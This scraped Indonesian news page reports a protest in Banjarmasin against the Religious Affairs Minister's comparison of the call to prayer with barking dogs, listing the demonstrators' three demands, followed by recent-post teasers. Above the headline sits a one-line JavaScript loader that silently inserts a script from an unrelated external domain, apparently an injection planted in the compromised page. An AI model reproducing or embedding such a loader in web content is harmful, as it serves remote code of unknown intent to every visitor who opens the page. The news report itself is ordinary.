(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tiga Tuntutan Pendemo di Kemenag Kalsel, Termasuk Cabut SE Kemenag No 5 Tahun 2022


KANALKALIMANTAN.COM, BANJARMASIN– Aksi demo masyarakat yang tergabung dalam Aliansi Pembela Umat Islam Kalsel menyuarakan sejumlah tuntutan imbas pernyataan Menteri Agama Yaqut Cholil Qoumas yang menganalogikan adzan dengan gonggongan anjing. Di antara tuntutannya, adalah membatalkan surat ederan Kemenag No 5 Tahun 2022.

Israhuddin salah seorang pengunjuk rasa mengutarakan, bahwa pernyataan yang diucapkan Yaqut Cholil adalah sebuah penghinaan bagi semua umat muslim.

“Hati kami sebagai umat muslim teriris seakan akan ini penghinaan. Seandainya beliau menganalogikan dengan suara lonceng gereja maka kami sebagai umat muslim tidak merasa tersinggung karena sebanding maknanya, tapi ini dibandingkan dengan suara anjing yang menggonggong, semua umat Islam tahu bahwa Adzan adalah suara yang sakral dan mulia,” ungkap Israhuddin.

Ia kembali menegaskan bahwa tidak elok dan tidak pantas saat Yaqut Cholil menyatakan bahwa suara adzan dianggap sama dengan suara gonggongan anjing. Yang mana dalam kehidupan dunia, Adzan selalu menjadi pengingat dalam melaksanakan ibadah.

 

Baca juga : Hadang Amukan Ojol dengan Keluarkan Senpi, Tindakan Briptu Suharno Disebut Sesuai SOP

“Adzan adalah pengingat. Cuma 5 kali dalam sehari! Patutkan ini menjadi sebuah bumerang bagi umat islam ketika Adzan disamakan dengan gonggongan anjing?,” tegasnya.

Mereka menyatakan sikap yang memuat tiga buah poin tuntutan, yaitu tuntutan untuk memproses secara hukum atas pernyataan dari Menag RI, meminta Menag RI bertaubat dan meminta maaf secara terbuka, serta meminta pemerintah untuk merevisi atau membatalkan surat ederan Kemenag No 5 Tahun 2022.

Dengan didampingi Kapolresta Banjarmasin, Kombespol Sabana Atmojo, Kepala Kantor Kemenag Kalsel, Muhammad Thambrin pun menanggapinya dengan menerima surat pernyataan sikap dari para pengunjuk rasa, serta tidak banyak memberikan komentar.(kanalkalimantan.com/Wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

9 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

12 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

15 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

17 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

17 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

18 jam ago

This website uses cookies.